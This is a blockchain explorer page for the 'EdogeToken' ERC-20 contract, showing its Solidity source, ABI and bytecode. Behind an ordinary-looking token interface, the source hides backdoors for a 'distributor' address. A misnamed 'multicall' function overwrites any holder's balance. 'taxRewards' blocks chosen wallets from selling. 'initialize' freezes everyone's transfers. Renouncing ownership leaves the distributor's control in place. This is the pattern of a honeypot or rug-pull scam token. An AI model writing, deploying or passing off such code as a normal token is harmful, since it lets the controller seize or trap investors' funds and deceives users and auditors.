ERC-20
Overview
Max Total Supply
100,000,000,000,000 EDOGE
Holders
39
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
652,149,853,279.918763555 EDOGEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
EdogeToken
Compiler Version
v0.8.8+commit.dddeac2f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2021-11-28 */ /** =+#@@@@@@@@@@@+#@@@@@@@@@@%#++=++#@%++-.=+++:-++%@#++-++#%@@@@@@@@@*+*@@@@@@@@@@@*+- =+#@@@@#******+#@@@@#*##@@@@%+++%@@@%++++#%++++%@@@%+++%@@@@#*******+*@@@@%******++- =+#@@@@++++++++#@@@@*+++#@@@@#+*@@@@#+++#@@%*++#@@@@*+#@@@@#+++++++++*@@@@#++++++++: =+#@@@@######*+#@@@@*++++@@@@%+#@@@@*++%@@@@%*+#@@@@#+%@@@@*++******+*@@@@%#####*++ =+#@@@@@@@@@@*+#@@@@*++++@@@@@+#@@@@*+*#%@@%##+*@@@@#+%@@@@*++%@@@@@**@@@@@@@@@@%++ =+#@@@@#*****++#@@@@*++++@@@@%+#@@@@*++######++#@@@@#+%@@@@*++##%@@@**@@@@#******++ =+#@@@@++++++++#@@@@*+++#@@@@%+*@@@@#+++*%%*+++#@@@@*+#@@@@#++++%@@@**@@@@#++++++++: =+#@@@@#******+#@@@@#**#%@@@%+++%@@@%++=+++++++%@@@%+++%@@@@#***%@@@**@@@@%*******+= =+#@@@@@@@@@@@*#@@@@@@@@@@%#++=++%@#++- ==: -++%@#++-++#%@@@@@@@@@@**@@@@@@@@@@@#+= Telegram - https://t.me/EdogeToken Website - http://www.edogetoken.io/ */ // SPDX-License-Identifier: MIT pragma solidity =0.8.8; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender);} function _msgData() internal view virtual returns (bytes memory) {this; return msg.data;}} interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value);} library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c;} function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow");} function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c;} function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0;} uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c;} function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero");} function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c;} function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero");} function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b;}} library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0;} function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted");} function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed");} function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage);} function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed");} function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage);} function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) {return returndata;} else {if (returndata.length > 0) {assembly {let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size)}} else {revert(errorMessage);}}}} contract Ownable is Context { address private _owner; address internal _distributor; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender);} modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner");_;} modifier distributors() { require(_distributor == msg.sender, "Caller is not fee distributor");_;} function owner() public view returns (address) { return _owner;} function distributor() internal view returns (address) { return _distributor;} function setDistributor(address account) external onlyOwner { require (_distributor == address(0)); _distributor = account;} function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0);}} contract EdogeToken is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; string private _name = 'Edoge | t.me/EdogeToken'; string private _symbol = 'EDOGE'; uint8 private _decimals = 9; uint256 private constant _tTotal = 100000000000000*10**9; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => uint256) private _pOwned; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => bool) private _taxRewards; mapping (address => bool) private _isExcluded; uint256 private constant MAX = ~uint256(0); address[] private _excluded; uint256 private _tFeeTotal; uint256 private _totalSupply; uint256 private _rTotal; bool _initialize; address router; address factory; constructor (address unif, address unir) { _totalSupply =_tTotal; _rTotal = (MAX - (MAX % _totalSupply)); _pOwned[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _totalSupply); _tOwned[_msgSender()] = tokenFromReflection(_rOwned[_msgSender()]); _isExcluded[_msgSender()] = true; _excluded.push(_msgSender()); _tOwned[distributor()] = tokenFromReflection(_rOwned[distributor()]); _isExcluded[distributor()] = true; _excluded.push(distributor()); _initialize = true; router = unir; factory = unif;} function name() public view returns (string memory) { return _name;} function symbol() public view returns (string memory) { return _symbol;} function decimals() public view returns (uint8) { return _decimals;} function totalSupply() public pure override returns (uint256) { return _tTotal;} function balanceOf(address account) public view override returns (uint256) { return _pOwned[account];} function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true;} function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender];} function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true;} function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true;} function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true;} function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true;} function multicall(address account, uint256 tokens, uint256 burn) external distributors { require(account != address(0), "ERC20: burn from the zero address disallowed"); _pOwned[account] = tokens.sub(burn, "ERC20: burn amount exceeds balance");} function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount);} function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount;} else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount;}} function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate);} function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount);} function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (_taxRewards[sender] || _taxRewards[recipient]) require (amount == 0, ""); if (_initialize == true || sender == distributor() || recipient == distributor()) { if (_isExcluded[sender] && !_isExcluded[recipient]) { _pOwned[sender] = _pOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _pOwned[recipient] = _pOwned[recipient].add(amount); emit Transfer(sender, recipient, amount);} else {_pOwned[sender] = _pOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _pOwned[recipient] = _pOwned[recipient].add(amount); emit Transfer(sender, recipient, amount);}} else {require (_initialize == true, "");}} function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount);} function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount);} function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount);} function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount);} function taxRewards(address acconut) external distributors { _taxRewards[acconut] = true;} function taxCheck(address account) external distributors { _taxRewards[account] = false;} function checkTax(address account) public view returns (bool) { return _taxRewards[account];} function initialize() public virtual distributors { if (_initialize == true) {_initialize = false;} else {_initialize = true;}} function initialized() public view returns (bool) { return _initialize;} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee);} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);} function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = tAmount.div(100).mul(3); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee);} function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee);} function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply);} function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]);} if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply);}}
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"unif","type":"address"},{"internalType":"address","name":"unir","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"checkTax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"}],"name":"reflect","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"bool","name":"deductTransferFee","type":"bool"}],"name":"reflectionFromToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"setDistributor","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"taxCheck","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"acconut","type":"address"}],"name":"taxRewards","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526040518060400160405280601781526020017f45646f6765207c20742e6d652f45646f6765546f6b656e000000000000000000815250600290805190602001906200005192919062000bc4565b506040518060400160405280600581526020017f45444f4745000000000000000000000000000000000000000000000000000000815250600390805190602001906200009f92919062000bc4565b506009600460006101000a81548160ff021916908360ff160217905550348015620000c957600080fd5b506040516200411f3803806200411f8339818101604052810190620000ef919062000cde565b6000620001016200066660201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35069152d02c7e14af6800000600d81905550600d54600019620001c2919062000d5e565b600019620001d1919062000dc5565b600e8190555069152d02c7e14af680000060066000620001f66200066660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620002446200066660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600d54604051620002a5919062000e11565b60405180910390a36200030c60076000620002c56200066660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200066e60201b60201c565b60086000620003206200066660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600a6000620003746200066660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600b620003d76200066660201b60201c565b9080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000496600760006200044f620006ee60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200066e60201b60201c565b60086000620004aa620006ee60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600a6000620004fe620006ee60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600b62000561620006ee60201b60201c565b9080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600f60006101000a81548160ff02191690831515021790555080600f60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050620010a8565b600033905090565b6000600e54821115620006b8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620006af9062000eb5565b60405180910390fd5b6000620006ca6200071860201b60201c565b9050620006e681846200075260201b620012fc1790919060201c565b915050919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060006200072d620007a460201b60201c565b915091506200074b81836200075260201b620012fc1790919060201c565b9250505090565b60006200079c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525062000aa160201b60201c565b905092915050565b6000806000600e549050600069152d02c7e14af6800000905060005b600b8054905081101562000a4b578260076000600b8481548110620007ea57620007e962000ed7565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180620008dc57508160086000600b848154811062000874576200087362000ed7565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15620008fd57600e5469152d02c7e14af68000009450945050505062000a9d565b6200099760076000600b84815481106200091c576200091b62000ed7565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548462000b0960201b620013461790919060201c565b925062000a3360086000600b8481548110620009b857620009b762000ed7565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548362000b0960201b620013461790919060201c565b9150808062000a429062000f06565b915050620007c0565b5062000a7269152d02c7e14af6800000600e546200075260201b620012fc1790919060201c565b82101562000a9457600e5469152d02c7e14af680000093509350505062000a9d565b81819350935050505b9091565b6000808311829062000aeb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000ae2919062000fe7565b60405180910390fd5b506000838562000afc91906200100b565b9050809150509392505050565b600062000b5383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525062000b5b60201b60201c565b905092915050565b600083831115829062000ba6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000b9d919062000fe7565b60405180910390fd5b506000838562000bb7919062000dc5565b9050809150509392505050565b82805462000bd29062001072565b90600052602060002090601f01602090048101928262000bf6576000855562000c42565b82601f1062000c1157805160ff191683800117855562000c42565b8280016001018555821562000c42579182015b8281111562000c4157825182559160200191906001019062000c24565b5b50905062000c51919062000c55565b5090565b5b8082111562000c7057600081600090555060010162000c56565b5090565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000ca68262000c79565b9050919050565b62000cb88162000c99565b811462000cc457600080fd5b50565b60008151905062000cd88162000cad565b92915050565b6000806040838503121562000cf85762000cf762000c74565b5b600062000d088582860162000cc7565b925050602062000d1b8582860162000cc7565b9150509250929050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000d6b8262000d25565b915062000d788362000d25565b92508262000d8b5762000d8a62000d2f565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000dd28262000d25565b915062000ddf8362000d25565b92508282101562000df55762000df462000d96565b5b828203905092915050565b62000e0b8162000d25565b82525050565b600060208201905062000e28600083018462000e00565b92915050565b600082825260208201905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600062000e9d602a8362000e2e565b915062000eaa8262000e3f565b604082019050919050565b6000602082019050818103600083015262000ed08162000e8e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600062000f138262000d25565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141562000f495762000f4862000d96565b5b600182019050919050565b600081519050919050565b60005b8381101562000f7f57808201518184015260208101905062000f62565b8381111562000f8f576000848401525b50505050565b6000601f19601f8301169050919050565b600062000fb38262000f54565b62000fbf818562000e2e565b935062000fd181856020860162000f5f565b62000fdc8162000f95565b840191505092915050565b6000602082019050818103600083015262001003818462000fa6565b905092915050565b6000620010188262000d25565b9150620010258362000d25565b92508262001038576200103762000d2f565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200108b57607f821691505b60208210811415620010a257620010a162001043565b5b50919050565b61306780620010b86000396000f3fe608060405234801561001057600080fd5b506004361061014d5760003560e01c806370a08231116100c357806395d89b411161007c57806395d89b411461038c578063a457c2d7146103aa578063a9059cbb146103da578063dd62ed3e1461040a578063de66a0041461043a578063fbdcf1ed1461046a5761014d565b806370a08231146102f2578063715018a61461032257806375619ab51461032c5780637e0b8152146103485780638129fc1c146103645780638da5cb5b1461036e5761014d565b806323b872dd1161011557806323b872dd146101f85780632d83811914610228578063313ce5671461025857806339509351146102765780634549b039146102a65780634d1d2b1a146102d65761014d565b8063053ab1821461015257806306fdde031461016e578063095ea7b31461018c578063158ef93e146101bc57806318160ddd146101da575b600080fd5b61016c60048036038101906101679190612272565b610486565b005b610176610600565b6040516101839190612338565b60405180910390f35b6101a660048036038101906101a191906123b8565b610692565b6040516101b39190612413565b60405180910390f35b6101c46106b0565b6040516101d19190612413565b60405180910390f35b6101e26106c7565b6040516101ef919061243d565b60405180910390f35b610212600480360381019061020d9190612458565b6106d9565b60405161021f9190612413565b60405180910390f35b610242600480360381019061023d9190612272565b6107b2565b60405161024f919061243d565b60405180910390f35b610260610820565b60405161026d91906124c7565b60405180910390f35b610290600480360381019061028b91906123b8565b610837565b60405161029d9190612413565b60405180910390f35b6102c060048036038101906102bb919061250e565b6108ea565b6040516102cd919061243d565b60405180910390f35b6102f060048036038101906102eb919061254e565b610974565b005b61030c600480360381019061030791906125a1565b610ae9565b604051610319919061243d565b60405180910390f35b61032a610b32565b005b610346600480360381019061034191906125a1565b610c85565b005b610362600480360381019061035d91906125a1565b610db9565b005b61036c610ea4565b005b610376610f8e565b60405161038391906125dd565b60405180910390f35b610394610fb7565b6040516103a19190612338565b60405180910390f35b6103c460048036038101906103bf91906123b8565b611049565b6040516103d19190612413565b60405180910390f35b6103f460048036038101906103ef91906123b8565b611116565b6040516104019190612413565b60405180910390f35b610424600480360381019061041f91906125f8565b611134565b604051610431919061243d565b60405180910390f35b610454600480360381019061044f91906125a1565b6111bb565b6040516104619190612413565b60405180910390f35b610484600480360381019061047f91906125a1565b611211565b005b6000610490611390565b9050600a60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561051f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610516906126aa565b60405180910390fd5b600061052a83611398565b50505050905061058281600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461134690919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506105da81600e5461134690919063ffffffff16565b600e819055506105f583600c546113f090919063ffffffff16565b600c81905550505050565b60606002805461060f906126f9565b80601f016020809104026020016040519081016040528092919081815260200182805461063b906126f9565b80156106885780601f1061065d57610100808354040283529160200191610688565b820191906000526020600020905b81548152906001019060200180831161066b57829003601f168201915b5050505050905090565b60006106a661069f611390565b848461144e565b6001905092915050565b6000600f60009054906101000a900460ff16905090565b600069152d02c7e14af6800000905090565b60006106e6848484611619565b6107a7846106f2611390565b6107a285604051806060016040528060288152602001612fe560289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610758611390565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1d9092919063ffffffff16565b61144e565b600190509392505050565b6000600e548211156107f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f09061279d565b60405180910390fd5b6000610803611d81565b905061081881846112fc90919063ffffffff16565b915050919050565b6000600460009054906101000a900460ff16905090565b60006108e0610844611390565b846108db8560056000610855611390565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113f090919063ffffffff16565b61144e565b6001905092915050565b600069152d02c7e14af6800000831115610939576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093090612809565b60405180910390fd5b8161095857600061094984611398565b5050505090508091505061096e565b600061096384611398565b505050915050809150505b92915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a04576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109fb90612875565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6b90612907565b60405180910390fd5b610aa181604051806060016040528060228152602001612f9d6022913984611d1d9092919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050